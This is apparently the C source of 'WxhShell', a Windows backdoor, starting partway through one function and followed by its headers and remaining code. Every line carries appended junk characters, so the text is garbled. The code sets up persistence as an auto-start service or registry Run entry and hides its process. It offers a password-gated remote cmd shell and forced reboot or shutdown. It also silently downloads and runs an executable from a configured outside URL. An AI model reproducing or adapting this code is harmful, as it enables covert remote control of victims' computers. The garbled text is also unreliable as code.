    if(Boot(SHUTDOWN)) mo1(dyjx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J(+I`  
    else { <fq?{z  
    closesocket(wsh); MW|Qop[  
    ExitThread(0); NZ:A?h2JR  
    } xQV5-VoFC  
    break; 40cgsRa|  
    } t]?u<KD<  
  // 获取shell +JoE[;  
  case 's': { fx@Hd!nO~"  
    CmdShell(wsh); P$z8TDCH  
    closesocket(wsh); 6'6 "Ogu%'  
    ExitThread(0); J [}8&sn  
    break; MNURYA=  
  } rb_ cm  
  // 退出 jEr/*kv  
  case 'x': { e%#(:L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6x%uWZa'  
    CloseIt(wsh); bp G`,[  
    break; b#%s!  
    } @i`*i@g  
  // 离开 7kmU/(8  
  case 'q': { $Lpt2:.((  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kfaRN ^  
    closesocket(wsh); KLpu7D5(|  
    WSACleanup(); =fmM=@!$<  
    exit(1); ]$[J_f*x  
    break; UN{_f)E?  
        } <eRE;8C-  
  } s'\PU1{  
  } 9Z}Y2:l'  
.kWMr^ g  
  // 提示信息 i=$##  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s)Bl1\Q  
} K5-wuD1  
  } bDI#'F  
m89-rR:Kc  
  return; P_11N9C  
} #$p&J1   
p9w<|ZQ]:  
// shell模块句柄 llVm[7  
int CmdShell(SOCKET sock) E!.>*`)?.  
{ 3vx*gfr3  
STARTUPINFO si; "N'tmzifh  
ZeroMemory(&si,sizeof(si)); f\CJ |tKX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L\d"|87lX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S]3K5Z|  
PROCESS_INFORMATION ProcessInfo; R2k R   
char cmdline[]="cmd"; #({0HFSC:j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZuIr=`"j  
  return 0; 4B>N[#-0=  
} 8>" vAEf  
X`kTbIZ|  
// 自身启动模式 3|4jS"t{f  
int StartFromService(void) ta`}}I  
{ *Dx&}"  
typedef struct _[ml<HW]  
{ f0rM 4"1  
  DWORD ExitStatus; ^_FB .y%  
  DWORD PebBaseAddress; ^|yw)N]Q/  
  DWORD AffinityMask; ;Z]i$Vi_r  
  DWORD BasePriority; TVVL1wZ  
  ULONG UniqueProcessId; 9\9:)q  
  ULONG InheritedFromUniqueProcessId; w"Gci~]bXU  
}   PROCESS_BASIC_INFORMATION; tU2 8l.  
/wplP+w2  
PROCNTQSIP NtQueryInformationProcess; G gmv(!  
xa+=9=<AQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R;+vE'&CO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ??& Q"6Oe  
KF^5 C  
  HANDLE             hProcess; P]]re,&R  
  PROCESS_BASIC_INFORMATION pbi; jOL$kiW0  
aO :wedfl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +3]1AJa  
  if(NULL == hInst ) return 0; H_gY)m  
MVdX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D:`b61sWi_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (]* Ro 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 [{l9  
'?]B ui  
  if (!NtQueryInformationProcess) return 0; O_%X>Q9  
\.c   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .U.Knn  
  if(!hProcess) return 0; &''lOS|  
(tQ#('(w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "G. L)oD  
9[yW&t;#  
  CloseHandle(hProcess);  ~DYUI#x  
N!R>L{H>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Fw{p{7<  
if(hProcess==NULL) return 0; r8.R?5F@  
lYz{# UX}  
HMODULE hMod; m2wGg/F5  
char procName[255]; _P6e%O8C#  
unsigned long cbNeeded; 3[mVPV  
.Jk[thyU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5>z`==N)  
8nzDLFxp_  
  CloseHandle(hProcess); m-V_J`9"  
>bQ'*!  
if(strstr(procName,"services")) return 1; // 以服务启动 a,<l_#'  
J1P jMb}  
  return 0; // 注册表启动 /)6+I(H  
} fTb&k;'LR<  
#mhR^60,  
// 主模块 7l Q@I}i  
int StartWxhshell(LPSTR lpCmdLine) NDsF<2A4  
{ X2CpA;#;7l  
  SOCKET wsl; ?` ?HqR0  
BOOL val=TRUE; H@ab]&  
  int port=0; |~)!8N.{  
  struct sockaddr_in door; sw<GlF"  
R_? Q`+X  
  if(wscfg.ws_autoins) Install(); ]w7wwU^^*U  
{O24:'K&  
port=atoi(lpCmdLine); nPlg5&E  
05o +VF;z  
if(port<=0) port=wscfg.ws_port; TVy\%FP^L  
f]c{,LFvZ  
  WSADATA data; TsiI5'tx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [2h 4%{R&  
| ]#PF*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IIj :\?r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6ZvGD}/  
  door.sin_family = AF_INET; F3)w('h9c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  862e  
  door.sin_port = htons(port); )96tBA%u  
UNK}!>HD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _.)6~  
closesocket(wsl); 2c)Ez?  
return 1; V{qpha4'P  
} 94uAt&&b(  
T#M_2qJ1=  
  if(listen(wsl,2) == INVALID_SOCKET) { _x+)Tv  
closesocket(wsl); ;ZOu-B]q  
return 1; xWC*DKV  
} 'YFy6rds  
  Wxhshell(wsl); +!"GYPUXy  
  WSACleanup(); 0oT~6BGm  
*;E\,,Io  
return 0; 8.`*O  
},eV?eGj  
} Q)mYy  
TR7j`?  
// 以NT服务方式启动 Pk2=*{:W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (:|g"8mQm  
{ QOT|6)Yb  
DWORD   status = 0; &/+LY_r'<I  
  DWORD   specificError = 0xfffffff; V -X*e  
\mp2LICQg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BIQQJLu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +f){x9 :  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zCz"[9k  
  serviceStatus.dwWin32ExitCode     = 0; HpCTQ\H  
  serviceStatus.dwServiceSpecificExitCode = 0; W!Qaa(o?  
  serviceStatus.dwCheckPoint       = 0; J 2H$ALl  
  serviceStatus.dwWaitHint       = 0; 9-ei#|Vnt[  
V*d@@%u**  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nO#a|~-))  
  if (hServiceStatusHandle==0) return; |K.J@zW  
bukdyo;l  
status = GetLastError(); ro}WBv  
  if (status!=NO_ERROR) T<ka4  
{ K=K]R01/o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4tA`,}ywPq  
    serviceStatus.dwCheckPoint       = 0; w ]%EJ|'  
    serviceStatus.dwWaitHint       = 0; [8 I*lsS  
    serviceStatus.dwWin32ExitCode     = status; td!YwN*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0bz':M#k &  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u.yjk/jF  
    return; eeVzOq(  
  } xwhS[d  
.ri?p:a}w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o;[cApiQ,2  
  serviceStatus.dwCheckPoint       = 0; r"4&.&6  
  serviceStatus.dwWaitHint       = 0; e'dx Y(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]H-5    
} (F+]h]KSi  
9O4\DRe5c  
// 处理NT服务事件,比如:启动、停止 |s!<vvp]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G=( ja?d  
{ QHHj.ZY  
switch(fdwControl) 3UgPVCT  
{ 1sNZl&  
case SERVICE_CONTROL_STOP: ]K-B#D{P  
  serviceStatus.dwWin32ExitCode = 0; tBjMm8lgb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ewq7oq5:  
  serviceStatus.dwCheckPoint   = 0; $ ?*XPzZ  
  serviceStatus.dwWaitHint     = 0; Q$^)z_jai  
  { -n"7G%$M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w678  
  } ?{]"UnyVE*  
  return; Yc`PK =!l  
case SERVICE_CONTROL_PAUSE: $aC%&&+wG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {36QZV*P  
  break; VJbn/5+P  
case SERVICE_CONTROL_CONTINUE: O5v~wLx9e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1$n!Lj=5  
  break; M2Zk1Z  
case SERVICE_CONTROL_INTERROGATE: ~P,@">}  
  break; 3gQ2wP*K  
}; #,S0uA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =`EVg>+^  
} Iy;bzHXs  
|'QgL0?  
// 标准应用程序主函数 DR<=C`<4(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hd ${I",  
{ k vF[d{l  
tGw QUn  
// 获取操作系统版本 OI)U c .  
OsIsNt=GetOsVer(); 1SG^g*mf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zbZN-j#  
g0 k{b  
  // 从命令行安装 .2f0e[J  
  if(strpbrk(lpCmdLine,"iI")) Install();  q^Ui2  
g{e@I;F  
  // 下载执行文件 HV[*=Qi  
if(wscfg.ws_downexe) { czcsXBl[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k/m-jm_h  
  WinExec(wscfg.ws_filenam,SW_HIDE); _zG[b/:p  
} xX~; /e&,  
Gj- *D7X5  
if(!OsIsNt) { |bX{MF  
// 如果时win9x,隐藏进程并且设置为注册表启动 F3=iyiz6  
HideProc(); AiUK#I  
StartWxhshell(lpCmdLine); *?R<gWCF  
} g E$@:j  
else w=x [=O  
  if(StartFromService()) K*aGz8N  
  // 以服务方式启动 umI6# Vd`=  
  StartServiceCtrlDispatcher(DispatchTable); Senb_?  
else U&OE*dq  
  // 普通方式启动 Eemk2>iP?  
  StartWxhshell(lpCmdLine); bnxR)b~  
qlg?'l$03)  
return 0; ,3bAlc8D7  
} qwvch^?>FQ  
v"V?  
p K hV<MFB  
9;L50q>s  
=========================================== ~PA6e+gmL  
%0lJ(hm  
yL"pzD`[H  
9V?:!%J  
JU!vVA_  
r!)jxIL\  
" V~4yS4  
*GC9o/  
#include <stdio.h> WoD Qg64  
#include <string.h> ^ Iy'<J  
#include <windows.h> E-b3#\^:  
#include <winsock2.h> &-(p~[|  
#include <winsvc.h> 4^{~MgQWK+  
#include <urlmon.h> GcHZ&m4  
WXX08"  
#pragma comment (lib, "Ws2_32.lib") *6QmYq6c<  
#pragma comment (lib, "urlmon.lib") U,tWLX$@  
 cE7IHQ  
#define MAX_USER   100 // 最大客户端连接数 o0FVVSl  
#define BUF_SOCK   200 // sock buffer I7HP~v~  
#define KEY_BUFF   255 // 输入 buffer :eL ja*  
+*Pj,+;W  
#define REBOOT     0   // 重启 5tcJT z  
#define SHUTDOWN   1   // 关机 &)F# cVB  
jbs)]fqC;  
#define DEF_PORT   5000 // 监听端口 11BfJvs:  
o WcBQ|   
#define REG_LEN     16   // 注册表键长度 ;0Mg\~T~'  
#define SVC_LEN     80   // NT服务名长度 \"=b8x  
k-|b{QZ8!;  
// 从dll定义API O_|p{65  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PJ'.s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BLcsIyq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?vocI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )jm u*D5N  
9p%8VDF=  
// wxhshell配置信息 Pskg68W  
struct WSCFG { +^V%D!.$@  
  int ws_port;         // 监听端口 nI<Ab_EB  
  char ws_passstr[REG_LEN]; // 口令 |emZZj  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]?n~?dD{]  
  char ws_regname[REG_LEN]; // 注册表键名 j[&C6l+wH  
  char ws_svcname[REG_LEN]; // 服务名 =7 ${bp!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p'YNj3&u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z]0UW\S/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q2RO&dL 9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vw/X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x[1( cj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &46 Ro|XE`  
PtT$#>hx]  
}; )d"s6i  
Vv~:^6il  
// default Wxhshell configuration `ILO]+`5  
struct WSCFG wscfg={DEF_PORT, +i6XCN1=  
    "xuhuanlingzhe", }@NT#hD  
    1, 5d5q0bb  
    "Wxhshell", ;(~H(]D  
    "Wxhshell", P'p5-l UK  
            "WxhShell Service", [y1 x`WOk9  
    "Wrsky Windows CmdShell Service", [cvtF(,  
    "Please Input Your Password: ", JN<IMH  
  1, "M4 gl  
  "http://www.wrsky.com/wxhshell.exe", Ilv _.  
  "Wxhshell.exe" B4ky%gF4  
    }; n ;0x\Q|S  
qFg"!w  
// 消息定义模块 @Yy']!Ju  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H/BU2sa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b8TwV_&|X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5$Aiez~tBq  
char *msg_ws_ext="\n\rExit."; r-IG.ym3  
char *msg_ws_end="\n\rQuit."; t*cVDA&K  
char *msg_ws_boot="\n\rReboot..."; i}}}x  
char *msg_ws_poff="\n\rShutdown..."; HA::(cXL  
char *msg_ws_down="\n\rSave to "; HT6+OK(~dJ  
us3fBY'  
char *msg_ws_err="\n\rErr!"; pi?[jU[Tn  
char *msg_ws_ok="\n\rOK!"; )kuw&SH,  
E1V;eoK.D  
char ExeFile[MAX_PATH]; XY1b_uY  
int nUser = 0; `o,D[Jd  
HANDLE handles[MAX_USER]; LSN%k5G7.  
int OsIsNt; Sn ~|<Vf  
PXJ`<XM  
SERVICE_STATUS       serviceStatus; +oe%bk|A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ ZC[h~9H  
a~"<lzu|$  
// 函数声明 _M9-n  
int Install(void); SVc5mS|up  
int Uninstall(void); Lyj0$wbH`  
int DownloadFile(char *sURL, SOCKET wsh); 3f^~mTY9>]  
int Boot(int flag); KMZEUmY1R1  
void HideProc(void); $jtXN E?  
int GetOsVer(void); Gp5=cV'k  
int Wxhshell(SOCKET wsl); %9P)Okq  
void TalkWithClient(void *cs); 268H!'!\  
int CmdShell(SOCKET sock); sPUn"7  
int StartFromService(void); >djTJ>dl_u  
int StartWxhshell(LPSTR lpCmdLine); Rr3<ln  
k| Ye[GM*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hY-;Vh0J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N>'|fNx]  
 LAfv1  
// 数据结构和表定义 o,;Hb4Eu  
SERVICE_TABLE_ENTRY DispatchTable[] = o6~9.~_e  
{ gBCO>nJws  
{wscfg.ws_svcname, NTServiceMain}, ~76qFZe-  
{NULL, NULL} -L)b;0%  
}; -)2sR>`A%  
!mLD`62.  
// 自我安装 =zXii{t  
int Install(void) qH-':|h7  
{ /vG)n9Rc  
  char svExeFile[MAX_PATH]; ^J_rb;m43  
  HKEY key; GVt}\e~"  
  strcpy(svExeFile,ExeFile); S|HnmkV66  
j,BiWgj$8  
// 如果是win9x系统,修改注册表设为自启动 Z_Z; g]|!  
if(!OsIsNt) { T6=q[LpsKN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aO]FQ#l2b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Y#$  
  RegCloseKey(key); rS/}!|uAu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >:yU bo)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4:S?m(ah/  
  RegCloseKey(key); x&PVsXdt5m  
  return 0; ,@*Srrw  
    } uY'77,G_J  
  } qqR8E&Y{  
} fR6.:7&  
else { %juR6zB%8  
XK7$Xbd  
// 如果是NT以上系统,安装为系统服务 j/+e5.EX/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jaq`A'o5  
if (schSCManager!=0) K=`;D  
{ [~_()i=Y  
  SC_HANDLE schService = CreateService $pO gFA1'  
  ( +bv-!rf  
  schSCManager, Ar:ezA  
  wscfg.ws_svcname, 2UGnRZ8:1Y  
  wscfg.ws_svcdisp, -g;cg7O#(  
  SERVICE_ALL_ACCESS, Z(=U ZI?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t@1 bu$y  
  SERVICE_AUTO_START, nC> 'kgRt  
  SERVICE_ERROR_NORMAL, #lHA<jI  
  svExeFile, yDdi+  
  NULL, gE~]^B{  
  NULL, mtQlm5l  
  NULL, %oY=.Ok ]  
  NULL, k_}aiHdG  
  NULL Im*~6[  
  ); Zg#VZg1 2  
  if (schService!=0) h72#AN  
  { PF4"J^V  
  CloseServiceHandle(schService); F:o<E 42  
  CloseServiceHandle(schSCManager); |`50Tf\J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZC\&n4~7  
  strcat(svExeFile,wscfg.ws_svcname); [c=T)]E1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n6f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @h&crI[c  
  RegCloseKey(key); ?U PZ49y  
  return 0; Z[{k-_HgAm  
    } uK5&HdoM  
  } Ct)l0J\XH  
  CloseServiceHandle(schSCManager); E 3a^)S{  
} n)'5h &#  
} 5lc%GJybV  
l5R0^!t  
return 1; N3`EJY_|V  
} _ Db05:r@  
:jc ?T  
// 自我卸载 +9[/> JM  
int Uninstall(void) f;w7YO+$p9  
{ ^*fZ  
  HKEY key; xc HG5bg |  
ojA i2uz  
if(!OsIsNt) { pDg_^|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GvCB3z  
  RegDeleteValue(key,wscfg.ws_regname); 8 FqhSzw  
  RegCloseKey(key); 1sT%g}w@|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { foOwJ}JU  
  RegDeleteValue(key,wscfg.ws_regname); x/pM.NZF1  
  RegCloseKey(key); }bg_?o;X}  
  return 0; #cRw0bn:  
  } 7oK7f=*Q  
} :+m8~n$/  
} )O~V3a  
else { \z4I'"MC.9  
@@O=a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~fDMzOd  
if (schSCManager!=0) _ `RCY^t  
{ 4R~f   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M^E\L C  
  if (schService!=0)  GT)63|  
  { wLDWD,"K  
  if(DeleteService(schService)!=0) { bJz}\[z  
  CloseServiceHandle(schService); O" <W<l7Q  
  CloseServiceHandle(schSCManager); -or^mNB_z  
  return 0; aNLkkkJg<;  
  } >pVrY; P[  
  CloseServiceHandle(schService); opKk#40  
  } (np %urx!  
  CloseServiceHandle(schSCManager); EAgNu?L  
} &3nbmkM  
} @4'bI)  
Q^iE,_Zq  
return 1; DeAi'"&  
} BJdH2qREN  
u9:+^F+  
// 从指定url下载文件 >brf7h  
int DownloadFile(char *sURL, SOCKET wsh) Ev R6^n/  
{ @"\j]ZEnY  
  HRESULT hr; Bj ~bsT@a.  
char seps[]= "/"; uP:Y[$O  
char *token; <#hltPyh  
char *file; ):Vzv  
char myURL[MAX_PATH]; JE<zQf(&  
char myFILE[MAX_PATH]; Zy>iaG9}  
*f?z$46  
strcpy(myURL,sURL); Gg\805L@  
  token=strtok(myURL,seps); wQ4IQ!  
  while(token!=NULL) 9 NO^ '  
  { !w!}`|q  
    file=token; epWO}@ b a  
  token=strtok(NULL,seps); x*EzX4$x  
  } _msV3JBr  
oj6b33z  
GetCurrentDirectory(MAX_PATH,myFILE);  !IZbMn6  
strcat(myFILE, "\\"); P?y3YxS  
strcat(myFILE, file); lO)0p2  
  send(wsh,myFILE,strlen(myFILE),0); ZwV`} 2{  
send(wsh,"...",3,0); C{i9~80n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gm-I)z!tz  
  if(hr==S_OK) vSt7&ec  
return 0; DRBRs-D  
else +0,{gDd+  
return 1; C;T:'Uws  
=*AAXNs@3  
} y}fF<qih'>  
yN0!uzdW*  
// 系统电源模块 ,<^7~d{{3m  
int Boot(int flag) `ehZ(H}  
{ 6(Qr!<  
  HANDLE hToken; 5,>Of~YN  
  TOKEN_PRIVILEGES tkp; N34.Bt  
#SHmAB  
  if(OsIsNt) { 1|?8g2Vf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h"7:&=e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PJ=N.x f}  
    tkp.PrivilegeCount = 1; tA?cHDp4E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >d`XR"_e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hr T_0FZV  
if(flag==REBOOT) { %<g(EKl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 N%fJ   
  return 0; C)7T'[  
} +B 4&$z  
else { WMo   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YpAJ7 E|7  
  return 0; "k8Yc<`u  
} ]vyu!  
  } X `[P11`  
  else { JQ>GKu~  
if(flag==REBOOT) { NV|[.g=lg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GAZTCkB"  
  return 0; [3yzVcr~4  
} 4k HFfc  
else { RGeM.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2 kOFyD  
  return 0; -:hiLZJ7-  
} <K~> :4c  
} 9>t  
wkn r^A  
return 1; ')d&:K*M  
} I^M %+\  
q(i^sE[y  
// win9x进程隐藏模块 P9Gjsu #  
void HideProc(void) 73-*| @6  
{ "l-L-sc,  
(1 "unP-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N2?o6)  
  if ( hKernel != NULL ) ~*3obZ2>2  
  { 3'd(=hJ45$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ){AtV&{$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pJ` M5pF  
    FreeLibrary(hKernel); A9*( O)  
  } h,Y!d]2w  
Quc,,#u  
return; F:PaVr3q  
} 7,i}M  
*wgHa6?+7  
// 获取操作系统版本 *V\z]Dy-[  
int GetOsVer(void) /Hox]r]'e  
{ b8?qYm  
  OSVERSIONINFO winfo; vy ME  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oD$8(  
  GetVersionEx(&winfo); *K9I+t"g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |ZEZ@y^  
  return 1; S$CO T)7  
  else z7[TgL7  
  return 0; K[wOK  
} |x2 +O  
1'skCR|!<  
// 客户端句柄模块 _RLx;Tn)L  
int Wxhshell(SOCKET wsl) HF9\SVR B  
{ vybQ}dscn  
  SOCKET wsh; y Iab3/#`  
  struct sockaddr_in client; 9uXuV$.  
  DWORD myID; U>q&p}z0 H  
q P<n<  
  while(nUser<MAX_USER) Sv*@3x  
{ ISQC{K']J  
  int nSize=sizeof(client); Kn9O=?Xh;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uS9:cdH  
  if(wsh==INVALID_SOCKET) return 1; ]!u12^A{  
AML8.wJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jlmP1b9  
if(handles[nUser]==0) HT]v S}s  
  closesocket(wsh); L53qQej<  
else %X)i-^T  
  nUser++; ~s}0z&v^te  
  } b-/ztZ@u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *WSH-*0  
4=j,:q  
  return 0; Fq{Z-yVp  
} j3Ng] @N  
 #RE  
// 关闭 socket V#j|_N1hm  
void CloseIt(SOCKET wsh) 64Ot`=A"  
{ lpW|GFG  
closesocket(wsh); h)%}O.ueB  
nUser--; Wvhg:vup  
ExitThread(0); }uI(D&?+h  
} A),nkw0X  
-{Lc?=  
// 客户端请求句柄 G1; .\i  
void TalkWithClient(void *cs) S(7_\8 h  
{ b&LfL$  
G2FP|mf,  
  SOCKET wsh=(SOCKET)cs; U Ox$Xwp5&  
  char pwd[SVC_LEN]; oDyrf"dl  
  char cmd[KEY_BUFF]; -Cb<T"7  
char chr[1]; aR }|^ex  
int i,j; *wNX<R.  
ryz [A:^G  
  while (nUser < MAX_USER) { #z|\AmZ\  
~[@Gj{6p0  
if(wscfg.ws_passstr) { bYr;~ ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e=11EmN9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m oQ><>/  
  //ZeroMemory(pwd,KEY_BUFF); ZE#f{qF(  
      i=0; j@1rVOmK  
  while(i<SVC_LEN) { E,Q>jH  
GCxtWFXH  
  // 设置超时 o<`)cb }  
  fd_set FdRead; Sz\"*W;>  
  struct timeval TimeOut; ^wL n  
  FD_ZERO(&FdRead); )4d)G5{  
  FD_SET(wsh,&FdRead); t 6.hg3Y  
  TimeOut.tv_sec=8; m){.{Vn]  
  TimeOut.tv_usec=0; \bt+46y@]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KRS_6G],{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ],*^wQ   
"K EB0U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *7"R[!9  
  pwd=chr[0]; FHNK%Ko  
  if(chr[0]==0xd || chr[0]==0xa) { Oeo:V"  
  pwd=0; H].G%,2'  
  break; UcCkn7}  
  } Da)rzr|}>3  
  i++; Zk+J=Cwq}  
    } T-Od|T@[  
xl%!7?G|$>  
  // 如果是非法用户,关闭 socket s52c`+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x 4SI TY  
} 1a#oJU  
By=/DVm)=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qyP|`Pm4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o E+s8Q  
2 }QD>  
while(1) { 0y$aGAUm  
b\zRwp  
  ZeroMemory(cmd,KEY_BUFF); >uN`q1?l'  
&a?&G'?  
      // 自动支持客户端 telnet标准   &"dT/5}6  
  j=0; KKm0@Y   
  while(j<KEY_BUFF) { %0]vW;Q5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W)"PYC4  
  cmd[j]=chr[0]; ^(ks^<}  
  if(chr[0]==0xa || chr[0]==0xd) { VjU;[  
  cmd[j]=0; $9znRTFEj  
  break; )!1; =   
  } G"CV S@  
  j++; Sd;/yC8  
    } 3F,$} r#  
_(J7^rN  
  // 下载文件 {mPalo A  
  if(strstr(cmd,"http://")) { }?,Gn]]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (7RxCo=X  
  if(DownloadFile(cmd,wsh)) Cc:4n1|]>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q #f U*  
  else /^~3Ib8Fw+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lAsDdxB`  
  } e{edI{g  
  else { gWp\?La  
hWK}] gF  
